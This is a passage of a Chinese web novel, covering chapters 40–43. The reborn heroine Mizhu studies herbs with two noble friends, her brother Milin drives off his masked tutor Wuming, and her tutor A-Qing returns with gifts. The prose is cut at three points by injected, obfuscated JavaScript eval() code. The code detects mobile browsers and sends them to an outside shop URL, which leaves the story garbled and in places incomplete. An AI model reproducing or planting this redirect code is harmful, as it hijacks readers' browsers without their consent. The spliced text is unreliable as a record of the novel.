皇后娘娘出自她的母族,除了这一辈的公主之外,在同年龄的贵女中,她几乎是算是最尊贵的。 旁人都在那儿谈论,京中哪个男子出众时,白豆蔻想着的是,没有一个男人能配得上她。 这是哪怕好友姜芊也不知道的一面。 谦逊待人的背后,是她自认为不比任何男子差的心气。 奈何投胎成了女儿身,所有这些自负与抱负,都成了只能隐藏起来不被人所见的一面。 月夫人只给了几人草药,但却没言明,这些草药的名字。 “这三日,你们可以回府。三日后再来。” 坐在三张板凳上的蜜珠三人,闻言面面相觑。 她们本以为,今日还会和昨日一样,在月夫人这里一直待着,结果才来了一会儿,月夫人就宣布,她们可以离开了? 一时之间,三个人都有些愣住。 白豆蔻想了想,主动对蜜珠道。 “既然月夫人定了时限,让我们完成这些,蜜姑娘若是不嫌,便来我府上一聚?” 和姜芊不用特意说这个话,两人来的时候都是同乘一辆马车的,关系好到经常去窜门。 蜜珠想了想,欣然点头道:“那便叨扰了。” 三人约定去了白家。 毕竟月夫人给的任务挺紧张的,若不集思广益,恐怕三日功夫还不一定能完成。 白豆蔻年纪是三人中最长的那一个,初接触的时候,看着脾气温和。而姜芊显得活泼冒失一些。 但真正相处下来,蜜珠发现,姜芊说话虽然直接,却不是那种有坏心思的人,算是不拘小节又爽朗的性子,白豆蔻才是这两人中说话拿主意的那个。 白家对待客人很热情,知道白豆蔻从月夫人那儿回来,还带了太史令家的长女蜜珠一起,白豆蔻的娘还亲自见了见她。 “好姑娘…哎…好姑娘…” 柳氏拉着蜜珠的手,笑眯眯看着她,是藏不住的喜欢和惋惜。 因着当今皇后娘娘的缘故,白家的女儿都金贵,生出来的姑娘自幼就在金窝窝里长大,比男儿还要再娇宠上几分。 是以当看到蜜珠后,柳氏心中就惋惜了。 这姑娘的确是天香国色的好相貌,难得的是还带着贵气与福相,并不是那种只有妩媚姿容,却缺少气度的容貌。 可惜这样的姑娘,却被皇帝许给了南宁王府… 白家的子嗣和蜜家相反,颇有一点开枝散叶非常繁盛的老树感。和蜜珠一样大的这一辈子嗣中,只有白豆蔻这一个姑娘,其他几房生下来的全是儿子。 当今陛下明帝,并不爱用外戚,生了儿子反而没什么仕途,倒是女儿还有联姻,或者进入宫中嫁给某个皇子,以押注将来太子的希望。 这就让白豆蔻在白家的重要性,愈发得到了体现。 柳氏看蜜珠的那股惋惜劲儿,未尝没有一种——生的这么好,偏偏投错了胎,运气不好,被指婚给了一个注定没前途的世子。 倒还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573604|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不如嫁给他们白家呢。 好歹白家的几个男子,年纪和蜜珠相当,也算是文武双全,并没有什么纨绔,对普通人家的女子来说,已经是顶好的婚配了。 柳氏实在是喜欢蜜珠,甚至从手上褪下来一个镯子给她。 “往后常跟着豆蔻过来。我可最喜欢小姑娘了,府里就要热热闹闹的才好嘛。” 年轻时候,柳氏就喜欢和许多年岁相当的手帕交们聚在一起,赏花跑马,再比比诗词歌赋和琴棋书画,其实图的就是个热闹。 而今上了年纪,成了妇人后,对那些个附庸风雅的事儿,是不感兴趣了,但依然是喜欢热闹的。 白豆蔻虽然过去人缘好,但却不常带其他姑娘回来,除了姜芊之外,蜜珠还是头一个,这才让柳氏看了很感慨,知道对方必定是入了女儿的眼,才会被带回来。 得了柳氏的一个镯子,而且一看就是成色极好,有些贵重的贴身首饰,蜜珠有些无措。 她前世几乎足不出户,唯一的那点儿外出机会,都用在了和曲立封相处上。竟不知道,自己能这么受欢迎。 娘过去常叮嘱她,容貌过于出挑了,就容易被当成红颜祸水。而女子之间也会有嫉妒心,木秀于林若还没有自保的权势地位,就定然会被人针对。 常常听着娘这样说,蜜珠过去也就愈发谨言慎行,不敢轻易抛头露面结交朋友。 两世为人加起来,遇到了有些投缘的姜芊白豆蔻,还被对方的长辈喜欢,蜜珠有些受宠若惊。 等只剩她和姜芊二人了,白豆蔻看出她的不自在,主动问她。 “蜜珠,你怎么了?” 手里还捧着那个镯子呢,蜜珠的脸有些红,不好意思道。 “我第一次登门拜访,什么东西都没带,却还被伯母送了镯子…我…受之有愧。” 姜芊笑嘻嘻看着她道。 “蜜珠姐姐,你就是从前出门太少,伯母是喜欢你,才送你镯子的。咱们本就是豆蔻姐姐的姐妹嘛,头一次见面,长者赐不敢辞!” 想当初,她头一次跟着豆蔻姐姐回家的时候,也收到了伯母送的东西。 如今白家和姜家因着她们两个小辈,往来也比从前密切很多,她和豆蔻姐姐更是情同姐妹。 蜜珠抿唇笑着,没有反驳。 她的确从前就是出门太少。 延续了那么多年的性情,要一夕之间改变,还是有些难度的。但还好,她如今已经迈出了第一步! 白豆蔻心思更加细腻一些,见蜜珠心中还是有些拘谨,放柔了声音对她道。 “蜜珠妹妹,高门大户中人情往来最是常见,等你日后进了南宁王府就知道了。” “之前我们只是刚接触,也不好冒昧问你,为何从前不见你加入京中的聚会?” 也是因为把蜜珠带回来了,白豆蔻心中有亲近之意,才会问起这个。 蜜珠沉默了片刻。 原本是能将这话应付搪塞过去的,但感觉到了姜芊二人的诚意,蜜珠也不想弯弯绕绕的说那些个不真心的话。 “我爹只是五品的太史令,我娘担忧我太过冒头掐尖,引起不必要的是非。” 这话说得隐晦。 但姜芊和白豆蔻二人都一下子就听懂了。 主要是看着这么一个闭月羞花的大美人对着你,颇有些楚楚可怜的说着这些话,傻子都能弄明白其中的道理。 自古美人就容易引来纷争,尤其是容貌明媚到像蜜珠这样的。 她们同为女子都能为这份容貌之盛,而感到震动了,若是男子… 想着京城里那些纨绔,有些胆大包天的,还真是容易借着家世地位欺负人。 蜜珠的娘这点没说错,五品的太史令太小了,护不住这样的倾城之色。 所以只能明珠暗藏,好不被人觊觎。 “辛苦妹妹了。”白豆蔻轻叹一声,看蜜珠的眼神都柔和了许多。 三个人又坐着闲谈了一会儿,白豆蔻请来了府里的女医师,帮她们鉴别手里的药草分别是什么。 姜芊夸赞:“还是豆蔻聪明。” 嘿嘿,药草有什么药性,组合起来有什么功效,会起到什么效果,问医师最方便啦。 她们三人只要将这些方子背下来,再将穴位也一同记住,就算能交差了。 蜜珠和白豆蔻相视一笑,三人就跟被送到了学堂,完成夫子布置好作业的孩童,一时之间充满默契。 “我先前打听过,月夫人会给学生提问,按照今日她布置的这些内容,兴许她会说出一些相应的病症,让你说出对应的草药怎么用。不如这样,我们单独写字条,每人想一个问题,轮流提问?” 白豆蔻想出了法子,集思广益。 蜜珠二人自然无不应的。 等到三人挨个写完了问题,互相交换的时候。 姜芊叫了出来:“呀,蜜珠姐姐,你的字竟这般好看!” 她原以为女子中,像豆蔻那样写字好看的,应是少有的,没想到这刚认识的蜜珠,竟也写的一手好字。 白豆蔻也凑过来一看,发出赞叹:“果真字如其人。” “…蜜珠妹妹的字,瞧着像是下了苦功夫,内有一番风骨。” 蜜珠被夸的脸有些红,小声道。 “从前闭门不出,总要做些事情打发时间,便常练字了。” 实际上,前世蜜珠的字还没有这么娟秀,是后来被曲立封关在后宅,心中绝望之下,才迫使自己去练字,好找到点盼头熬时间,继而慢慢把字练出来了。 被人夸好开心呀。 尤其是从前,蜜珠把外头想象成了龙潭虎穴,一步也不敢往外迈,而今稍稍走出去一点,却处处顺利,一直在被肯定和接纳。 这种感觉,让重生的蜜珠觉得自己好像又活了一遍。 瞧着蜜珠谦虚又害羞的模样,姜芊忍不住晃着脑袋感慨。 “蜜珠姐姐,得亏你先前没参加那些个聚会,让其他贵女们看到,不然她们得被比成尘埃。” 通常貌美的女子,自小就知道自己长得好,被众星捧月的夸着,就容易心高气傲。哪怕嘴上不说,心里也还是傲气的。 但蜜珠瞧着就一点儿没有那些个倨傲之气,颇有一种美而不自知的味道。 姜芊性子直,想什么就直接说出来,如今觉得和蜜珠投缘,就真是看她哪哪儿都好,恨不得把蜜珠夸到天上去。 三人聚在一块儿,互相抽着背穴位图,还有药草的性能,不知不觉一天过去了。 望着太阳下山后的影子,蜜珠有点儿恍惚。 这才多久呀。她就从刚重生回来,随时充满警惕,内心充满抗拒与冷漠的样子,变成了现在这般朝气蓬勃的模样。 似乎变化都是一点一滴积累起来的。 “明日后日都不用去月夫人那儿,蜜珠妹妹,你记得过来呀。” 在蜜珠离府之前,白豆蔻还特意提醒了一句。 蜜珠点头:“我会来的。” 回去的路上,坐在马车里,看着四周路过的行人,蜜珠忍不住长吸了一口气。 不知道无名今日有没有去教蜜林武艺。 41.第 41 章 这几日发生的事情太多了,她都来不及和之前一样习武。 本来是想让无名在蜜林的院子里挂个号儿,这样自己和对方学一些武艺,也不算是孤男寡女单独相处了。 没想到自己一忙就是好几日,压根就抽不出来功夫去习武。 她摸着手上的镯子,心中有些复杂。 有时候她会想到那日在王府探望时,看到的南宁世子——她将来的丈夫。 有时候她又会想到那日站在窗外和她说话的无名。 尤其是,当妹妹走丢,她整个人六神无主的时候,无名从天而降出现,无异于帮她把面前的所有黑暗驱散了。 蜜珠现在能明白,为何那些话本中的女子,都容易因着英雄救美倾心对方。 她对无名并没有这个意思,但这不妨碍在心底里,她觉得无名亲近了许多。 对方给的哨子和镯子,一度成了她的底气。 好像在面对整个世间所有恶意时,她都多了一分凭仗,不再那么手无缚鸡之力。 她该怎么回报无名呢? * 蜜林身边的书童,今日守在大门口,老远瞧见大小姐回来了,立刻屁颠颠凑到马车跟前。 “大小姐,教习已经在少爷院子里了。” 这几日少爷的脾气都好了不少,连带着书童都少挨了一些骂。 以前少爷常常因为一些不知名的事儿,忽然阴沉了脸,然后回来之后发脾气。虽说也不至于打他,但跟在这么一个喜怒无常的主子身边,听着谩骂,偶尔还被拿一些耐用的家具砸,多少是不好受的。 现在好了,自从那天夜里少爷冒着大雨跑出去,见了大小姐一面之后,少爷就跟变了个人似的。 慢慢的,嘿,也不逃学了,也不跟主母顶嘴了。 连带着他在少爷身边,都被少折腾了很多。 这两日更是稀奇,少爷跟着新来的教习老老实实习武,明明看着扎马步和翻跟头,都是吃力的事儿,少爷以前那种好逸恶劳的性子,却跟不见了似的,一点儿也不吃苦喊累。 他今儿旁敲侧击问起少爷,习武那么累,为何半点苦也不喊。 少爷就将他数落了一顿:“这府里真正为我好的人,你以为都有谁?” “我嫡姐自己都偷摸着习武了,可见这是个好东西,如今能为了我专程请来教习,不知道背地里花了多少银子。她明明能不为我做这些的,反正两个月后就要嫁人离开了,但还对我这么好。我要是再不好好珍惜,那我成啥了。” 说完这些后,少爷又用看朽木的眼神望着他,哼了一声。 “你懂啥,我大姐的一片苦心,你当然不懂。” 尚通被少爷说的一愣一愣,心里暗暗腹诽,几日前少爷说起大小姐的时候,明明还是另外一个口气,那些不好听的话都能一篮子一篮子往外冒,而今改了风向,立刻又一副大小姐就是天的样子。 他还是闭嘴别说话比较好。 蜜珠从马车里下来,虽然今天用了一天脑袋,觉得很疲惫,但想了想,还是开口道。 “少爷习武顺利吗?” 其实是想问,蜜林跟着无名习武,今日可有闹出什么幺蛾子? 蜜林并不是那种很听话的性子,反而有些叛逆与口不对心。 本来想着,蜜林习武时,自己也会在,无名就不用太费心,但这几日都忙着去见月夫人,实在是没能抽出空,按照先前想的那样分配时间。 蜜林的书童尚通,听着大小姐问起这个,脸上堆着笑道。 “少爷可勤奋了!比去学堂还认真!” 说起这个时,他还拍了一下胸膛,对自家少爷真是前所未有的信心。 蜜珠略有些诧异,但也为此感到欣慰。 “那就好。” 然而才走到蜜林的院子门口,就听到里头传来了熟悉的怒吼声。 “我要告诉我嫡姐!她肯定不理你!让她把你赶走!” 这么中气十足又气呼呼的声音,一听就是蜜林的。 和当初他被蜜珠按着打板子的时候,何其相似。 蜜珠停住了步子,下意识看向尚通。 本来一脸自信的尚通,也愣住摸了摸后脑勺。 额,明明这两日少爷和教习相处的挺融洽的啊。少爷还夸大小姐找来的这个教习,的确是个武林高手,有真本事,他要发狠劲儿去学对方的真本事呢。 怎么他才走开一会儿,回来就撞见这一幕? 蜜珠在院子门口站了一会儿,都没听见无名的声音。 只有蜜林扯着嗓子在那儿破口大骂。 “你有啥本事!不过是个教习,破走江湖的,都藏头露脸不敢用真面目对人,得罪了本少爷你在这京城都混不下去!” “放本少爷下来!我不练了!等我的书童回来了,喊家丁把你打几十大板!给你好看!” “来人!来人!” 只可惜无论蜜林怎么大喊大叫,外头都没人听见。 蜜珠三姐弟习武,是在王氏整顿了整个蜜府后,瞒着蜜老爷进行的。 那些个容易多嘴多舌闹出是非传话的下人,自然都被打发了,尤其是在蜜林习武的这个时辰,以他的院子为中心一圈都没什么人,以确保无名的存在,尽可能的少被人知道。 于是蜜林快喊破喉咙了,也不见一个人来,倒是他瞧着毫不气馁,那股气势一直在。 肉眼可见的,蜜林的情绪越来越暴躁,几乎复制了当初在蜜珠面前的恶劣脾气。 都不用推开院门,蜜珠一行人都能想象,里头的蜜林脸上会是个什么神情。 稍微顿了顿,蜜珠冲一旁的尚通眨了眨眼。 尚通还是有些机灵在的,立刻领会到了蜜珠的意思,做了个跺脚的动作,仿佛刚刚走到门口,扬起嗓门道。 “少爷!大小姐来看您嘞!” 他话音一落,小院子里的声音顿时消失。 蜜珠停顿了片刻,跟着推开门的尚通迈入了院子。 所有之前听到的声音,就好像从未响起过一般。 院子里并没有出现蜜珠想象中的剑拔弩张,相反,以为桀骜不驯正在闹腾的蜜林,正规规矩矩扎着马步。 一边扎马步,还像模像样的推拳:“嘿!” 一拳一掌,比划的怪有样子的。 而无名则半靠在一旁的大树上,眯着眼,面具挡着脸,看不清神情。 在蜜珠抬脚踏入院子时,他似是漫不经心的瞥了过来。 明明院子里还隔着其他人,但蜜珠第一眼对上的就是靠在树根上的无名目光。 她甚至在对方的注视中,读出了些许委屈——她两日没来。 蜜珠莫名有些愧疚。 “嫡姐!”还在扎马步摆姿势打拳的蜜林,在瞧见蜜珠进来时,顶着一脑门的汗珠,高声唤她。 蜜珠回过神,视线重新落到了蜜林身上。 “方才在外面,似乎听见了你的声音。你在嚷嚷什么?” 她走过去,注视着蜜林,似笑非笑。 蜜林一梗。 他总不能说是自己吃不了苦了,受不住了,方才和教习吵起来,然后被吊在了树上吧。 蜜林也是要面子的。 “哦,这是教习在教我怎么打拳,我和他探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蜜珠有些说不出的委屈,但这种委屈来的毫无道理。她和无名从一开始交集,就是因为一桩“交易”。 如今交易完成,自己又因着找回蜜云的缘故,还有暗器的赠与,欠了对方不小的人情。说起来已经是她在占便宜了,她却还想怪无名。 这真的很没道理。 就在蜜珠心中开始自我谴责时,无名移开了目光,声音轻快。 “蜜姑娘不用多礼,有话不妨直说。” 他喊起蜜姑娘三个字时,仿佛一块糖轻飘飘从嘴里融化,有种说不出的温柔。这样瞧着倒是个斯文的江湖侠客了,再加上身形颀长,穿着黑色劲衣,越发显得像是翠竹一般挺拔。 蜜珠瞧着他这副配合自己,装作两人只是初见的模样,竟然一时语塞。 这人装模作样起来,比自己还厉害。 这让她怎么开口,说你教教我怎么防身和暗器吧? 她可是个姑娘家,初见就这样贸然开口,蜜林他们看在眼里会觉得奇怪的。 蜜珠的一双眼眸格外水润清澈,是真正的一双水瞳,细密纤长的睫毛两排一眨,就像是扇动的小扇子,看得人心里莫名痒痒。 她眼眸含情似水,仿佛会说话,华宣看在眼里,莫名就懂了对方的意思。 这姑娘是在责怪他,表现得太过于置身事外,竟不主动开口去提教授武艺的事。 本来还想逗逗蜜珠的,但瞧着她这副羞恼模样,华宣的心就止不住变软了。 他轻咳一声:“蜜姑娘有话不妨直说,鄙人常年混迹江湖,生平最爱路见不平拔刀相助。些许小事帮忙,本是英雄本色,绝对不会推辞。” 他这话说得够大气主动了吗? 42.第 42 章 华宣一双黑眸里,藏了几分只有蜜珠能看懂的笑意,深深沉沉望着她。 蜜珠本来绷紧了的粉腮,冒出几丝无奈。 这话又说得太…太假! 两人眼神对视间,本来在一旁静静看着的蜜林,像是才反应过来,忽然被刺激到一般,跳起来挡在了两人之间。 “教习你可以走了!” 这教习不是好人啊,竟然当着他的面觊觎嫡姐!当他们蜜府的男人都是死的吗? 果然貌美女子就是不容易,需要有靠山,不然就容易遭到各种宵小之辈的觊觎。 蜜林年纪虽然还小,还远远不到能体会男女之情的时候,但在学堂里也听过许多风言风语,知道肚子里没什么好东西的男子,尤其是好色的,能有多恶劣。 同为男子,有时候就更能看清男子的秉性。 所以他在刚才看着教习和嫡姐对话的刹那,就敢断定,对方绝对是对嫡姐不怀好意! 不然为何这该死的教习,在嫡姐没来之前,对自己一副严厉面孔,除了教授武艺,其他话几乎一个字不说,惜字如金的样子倒像是来这里教他是受到了埋没。 但嫡姐一来,马上就一副翩翩公子江湖侠客的样子? 包藏祸心啊!是见他嫡姐貌美,见色起意的登徒子! 蜜林恶狠狠瞪着华宣,像看不怀好意的狼一样,嫌弃道。 “教习还不走?难道要我八抬大轿送你?” 那点儿不客气不藏了。 蜜珠一愣:“蜜林,不要这样对教习说话。” 她还想开口让无名借着这个机会教自己防身术呢。 华宣还没说什么,蜜林立刻一蹦三尺高,回过头对蜜珠急吼吼道。 “嫡姐!他不是好人!” 哎呀嫡姐真是傻啊。她怎么不明白呢,那些个素昧平生的男人,一见你忽然就改了性情好言好语献尽殷勤,那肯定是冲着你的美色来。 但凡这样的男子,都不是什么好人。还讲什么道理和待客之道啊,就该逐出去! 蜜林是真着急。 嫡姐怎么看得还没他清楚? 蜜珠:“…” 她都没想到自己会陷入到这个两难的局面。 蜜林的警惕是对的,但却和她的初衷背道而驰了。 这不由得让蜜珠有些无奈。 她向无名投去了眼神,华宣却好整以暇站在那儿,施施然道。 “蜜姑娘,在下只能告辞了。少爷天赋颇佳,是习武的好苗子,根骨也不错,但于心性上却过于刚强偏激,在下是教不了了。” 他说一个字,蜜珠的神色就无措一分,直到最后,她整张巴掌大的小脸都变得苍白,像是失去了颜色的花朵,瞧着都令人心头一紧。 “不教就不教!”蜜林先跳脚起来。 这教习哪怕武艺再好,倘若对他嫡姐有冒犯和觊觎的心思,还是早早打发了为好。 嫡姐毕竟是对人心了解太少,既然已经定了未来夫婿,还是少些和外男的接触为好。 蜜林自觉自觉担负着蜜府将来的所有兴衰,他扛着责任呢,当然有权力去管教嫡姐。 蜜珠张口欲说些什么,然而今日的局面,完全没给她去反应的机会。 待她想开口劝说时,无名和蜜林竟然已经把话说到不欢而散的地步。 无名甚至更是一甩袖子道。 “既然如此,在下还是告辞了。” 说罢他也没有再多留下说什么,只是深深看了蜜珠一眼,随即身形飞起落到墙根上,几下消失不见。 蜜珠:“无…”终究还是没把挽留说出口,她耷拉下脑袋,有些沮丧。 蜜林则指着对方消失的方向,气不打一处来。 “早走早好!有本事的教习不缺他一个!摆什么谱子,不过就是个走江湖混日子的!” 本来他还想在嫡姐面前表现一番的,这两日吃了那么多苦,勤勤恳恳听个走江湖的教授武艺,他也是耐着性子的。 没曾想,嫡姐一来,这破走江湖的就立刻殷勤起来。 无事献殷勤,非奸即盗! 更别提是这种连个下脚地都没有的人了,终日戴着面具都不敢用真面目看人,能是什么好人? 蜜珠:“……”她只红唇动了动,没能说出什么话来。 她竟然一时之间不知道该说什么了。 事情的走向,完全没能按照她想的那样进行。 换成从前,兴许她会挫败,会难过伤心失望,甚至愤怒。 但许是因着这几日发生的事情太多了,她又接触过月夫人和姜芊等人,内心隐隐明白了一些道理——事情不能如愿本就正常。 她本来就没法光明正大的让无名教自己武艺,这才不得不想通过蜜林这边“暗度陈仓”。 论起来,她这般行事并不光明正大,是心虚的,不能对人言的。 如今事已至此,那就罢了吧。 所以当蜜林急吼吼在她面前继续蹦跶时,蜜珠只是拍拍对方肩膀。 “你喜欢习武吗?” 原本心头一片暴躁的蜜林,像是整个人中了定身术,忽的安静下来。 “…” 嫡姐拍他肩膀了!像对蜜云那样关心他了。 蜜林像是忽然漏了气一般,那些骄纵和跋扈一下子去了个干净。 他忽然面红耳赤,两只手都不知道该放在哪里,一时间就连蜜珠问他喜欢习武么这句话都没听见。 蜜珠见他怔怔的样子,舒缓地笑了。 “学堂你不爱去,不爱读书,若是习武也不喜欢,往后你打算干什么呢?” 蜜林讪讪的说不出话。 他从没真正考虑过这些。 对于父母双亡的他来说,起先向往的只不过是能有一口饱饭,能有一个可以容得下他的家,能让他不至于饥寒交迫。 百家饭他吃够了,只想日子好过一点而已。 白眼受尽后,对于人情冷暖就有了非常清晰的体察。 所以从来到蜜府之后,哪怕自己已经上了族谱,成了蜜家名义上的嫡子,蜜林依然有种恐惧感——这不是自己生来就拥有的,这是总有一天会失去的东西。 蜜珠给他的那一顿板子,让他第一次开始正视自己这个嫡姐。起先当然恨得咬牙切齿,想到嫡姐就会满心的不服气,想要报复,想要看嫡姐的笑话。 于是跑到爹那里告状,并且以为爹会和以前一样,不管发生什么都因着他嫡子的身份,站在他这边。 结果那次,他折戟沉沙了,意识到了这嫡姐并不是他以为的那等柔弱女子。 从那以后,嫡姐就变了个人似的,连带着主母王氏,也变得厉害了起来,开始管着整个蜜府,甚至就连那等有了些年头的刁奴,也被赶了出去,惩治了一番。 为此,蜜林提防了一阵,担心嫡姐和嫡母,会想出什么办法来整治他。 可等了几日也没等到,反而等来了爹的训斥和一巴掌。 这对蜜林来说,打击大到几乎把他先前的那些念想和支撑,都给毁了个一干二净。 原来将自己带回来认祖归宗的爹,并不真的待自己好。 只有当站到了被攻击和训斥的那一方后,他才能体会到,原来那种感觉是难受的。 雨夜假山里的那次痛哭,是为了自己命运多舛,哪怕顶着个少爷头衔,但他心底里依然觉得自己是在寄人篱下。 偏偏这种感受还无处诉说,谁见到他弱小了,都会笑话他。 而且他是男儿,怎么能动不动就哭了被人看到呢。 偏偏哭到最狼狈的时候,是被当时视作仇人的嫡姐看到了。只不过,想象中会迎来的羞辱奚落倒是没出现,他反而被嫡姐的几句话点醒了。 说不出来为何那些话对他的影响那么大。 或许是因着下了那么大的雨,雷电交加,一个真正对他有恶意的人,根本不用专程跑出来骂他。 但嫡姐却这样做了,骂他的那些话本不用如此犀利而直击内心。 反正他在所有蜜府的人眼里,都是一个侵占了地盘的外来者。 他并不讨人喜欢,而且性情也不佳。府里的下人说他顽劣,说他根本没有大小姐和二小姐的和气,像个秉性不好的纨绔。老爷把这样的人认回来当儿子,岂不是在败坏家业? 那些话他都听到了。 偷听墙角本不是什么君子该做的事儿,但他哪里有成为君子的机会。 一个不会察言观色又不会适当狐假虎威的孤儿,是没法活到现在,还能活得这么好的。 宗族中家境不好的人,其实并不只有他一个,但为什么偏偏就只有他成为了蜜府如今的嫡少爷呢? 因为他使了手段啊。他把其他的竞争者挤下去了,吓唬他们,让他们知难而退。 那些手段用在别人身上的时候,他没有想过,将来有一天,他会因为到了一个很好的地方,开始想着洗净身上的污浊,想着去当一个君子和好人。 君子会被人欺负。好人会被人欺负。 不能自保的人无论做哪一个,都不是什么好选择,尤其是对他这样的人。 但在嫡姐问他,你喜不喜欢习武,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蜜林被她这样看着,说话的底气莫名变得更加足了。 “我不怕吃苦,嫡姐你别小看我,之前那个教习不教我,是他没有发现千里马的福气。” 一番话说的很自信。 蜜珠噗嗤一笑:“好,那我就等着你将来武有所成,兴许你能当上个武状元,将来出官入仕呢。” 她只是随口一夸,蜜林却挺直了肩膀,愈发精神抖擞起来,眼睛都亮了几分。 “好说好说,将来的事儿谁也说不准,没准我就建功立业了。” 他这么一贫嘴,倒是让蜜珠身后的小柳儿也跟着噗嗤笑了起来。 以前只觉得这个便宜少爷不太懂规矩,待人脾气暴躁,一来蜜府就跟猴子到了山中称霸王一般,成天惹是生非,让人看了心里都闹腾。 这几次倒发现对方似乎改了点性子,上次在后花园里遇到了小姐,会乖乖喊嫡姐,这次更是知道维护小姐了。 蜜珠一行人回自己的院落时,小柳儿还在啧啧称奇。 “这林少爷先前还不是这副脾气,而今改了性子,瞧着顺眼多了。” 蜜珠听了在一旁含笑摇头不语。 蓄月却悄悄用胳膊碰了下小柳儿,示意她讲话收着些。 蜜林毕竟是府里唯一的少爷,主仆有别,在私底下这般妄议主子可是大忌。 “哦。”小柳儿后知后觉捂住自己嘴巴,心中却还有些不服气。 她在蜜府待了十几年,打小儿就在小姐跟前伺候着,其实都已经习惯了府里有些谁了。 那林少爷一来就那样的高调,前段日子更是给了夫人小姐不少气受。实在是让人喜欢不起来,至少是没法将对方真正当成亲近的人看的。 不过… 一念至此,她忽的想到了过不久,小姐要嫁到南宁王府去,到时候那里的贵人可就更多了,全是她不熟悉的。 她不习惯,小姐肯定也不习惯。 哎呀,到时候又该怎么办。 小柳儿为着自家主子操心的时候,蜜珠坐在暖阁,自顾自叹了口气。 咚咚。 窗户又被人敲动,发出声响。 蜜珠这次没有搭理。 想也知道是何人。 但无名方才甩袖离开的事儿,让她很是不知所措,这会儿就有些不想去应对。 见到无名了,该让她说什么呢。 说什么都不好。 然而咚咚咚的声音根本不停,等了一会儿,没见蜜珠有动静,窗上的声音就继续响着。 蜜珠心头忽然火起,咬唇走到窗边,负气地将窗一推。 43.第 43 章 “哎哟!”外头传来了女子的惊呼声。 蜜珠一惊,探出头看,只见已经离开京城多日的阿晴教习,正言笑晏晏站在外头,隔着窗户看她。 “阿晴…” 蜜珠轻呼,随即意识到,自己方才推窗的动作太过于粗鲁,应该是撞到了对方,不由露出了歉意。 “抱歉,我不知你在窗外。” 她还以为是无名… 想到自己闹了个乌龙,错伤到了阿晴,蜜珠心中很过意不去,忙伸出手,想去看看阿晴撞到了哪儿。 阿晴站在那儿,像逗孩子似的,看着蜜珠露出慌乱无措的神情,抬手晃了晃掌心中的东西。 “我没事,无需内疚。看这是什么?” 阿晴晃动时,蜜珠看清了对方手里的一个瓶子。 “这是什么?”瞧着像是装丹药的。 阿晴撑着窗台,从外头一跃而入,翻了过来,站在室内将瓶子递给蜜珠。 “我此次离京去见我弟,从他那里得来的。此物有极强的迷魂效果,用上一些,就能让人失去意识。” 说起这个的时候,阿晴解释道。 “原本这东西,只是混江湖的人用来防身的,上不了台面,但想着你兴许能用上,我才带来了一瓶,给你备在身上。” 蜜珠听着阿晴这样说,脸上露出了惊喜的神情,将白瓷瓶接过,左看右看,很是稀罕。 “谢谢阿晴。” “我还以为你要过个几日才能回来,没想到今日就回了。” 无名那边才刚撂挑子离开,阿晴就回来了,可真巧。 这下蜜珠一下子就没有任何担忧了。 阿晴既然回来,无名那儿走,也没什么好惋惜的了。 她没察觉,自己在这件事上,生出了一种近似赌气的味道。 阿晴回道:“我与我弟弟都是江湖中人,知道彼此如今过得好,也就没什么多说的,还不如早些回来。听闻你这几日白天都要去学规矩,习武之事还有空么?” 其实也是少主令人给她飞鸽传书,她才特意早些回来。 蜜珠听了这话,有些赧然。 “到底是有些疏漏,没能像先前那样一日不落的习武。” 本以为阿晴会说她两句,没想到听了这话,阿晴却安慰她道。 “世家贵女如你这样的,已经是少数,不用自责。你能有心去接触这些东西,已经很不容易。” 停顿片刻,阿晴从兜里摸出来一样东西,递给蜜珠。 “嗯,这个给你。” 她递给蜜珠的是一个玉簪。 那玉簪瞧着质地极好,翠绿色,在光下闪着莹润感。 蜜珠几乎是第一眼看到就喜欢上了。 这玉簪瞧着太有灵气了,甚至让人不舍得将它戴到头上。 “你喜欢吗?”阿晴偷偷观察着蜜珠的神色,问起这句话时欲言又止。 可惜蜜珠并没有看出她这会儿神态的异样,摸着玉簪点头道。 “很喜欢!” 她都没有给阿晴教习准备礼物,她以后该多打听一下阿晴喜欢什么。 瞧见蜜珠说喜欢玉簪的神情很真挚后,阿晴松了口气。 她也算是受托于人。如今差事办好了,心中自然是放松下来。 蜜珠又拉着阿晴进屋,说起这些日子发生的一些事情。 阿晴听在心里,默默点头,也说了一些在离京路上发生的事儿,逗得蜜珠兴奋极了,恨不得下次也跟着她出去走江湖。 “对了,阿晴。我想拜托你一件事情。” 蜜珠想起什么,抿唇开口。 阿晴:“你说,能做到的我一定做。” 她也好奇,蜜珠会拜托她做什么。 没曾想,面前瞧着娇怯怯的姑娘,转身拿了拿了一张银票给她。 “想拜托你把这个转交给无名。” 嗯? 看着银票,阿晴的表情满是不解。 这二人明明是正经的未婚夫妻,但一个不知道对方是什么身份,另一个也一直不说。 一个送未婚妻玉簪,都要拐着弯,让她用她的名义来送。 另一个不知为何要给未婚夫送银票,也要拜托她去当中间人。 作为知道这两人真实联系的人,阿晴有些啼笑皆非。 先前她对少主生出仰慕之心的时候,还曾经觉得,少主这样的男子,想必在七情六欲和姻缘之事上,是没什么耐心的。 而今见到了蜜珠,又看到往日里近乎铁面无情的少主,如今想着法子接近未婚妻,实在是令人下巴都要掉下来。 再联想之前自己对少主的印象,阿晴自己都想笑。 若是让帮派里的其他人晓得了,恐怕也会大吃一惊吧。 笑了笑,阿晴将这些掩下不提,面对蜜珠,沉吟了一番,才道。 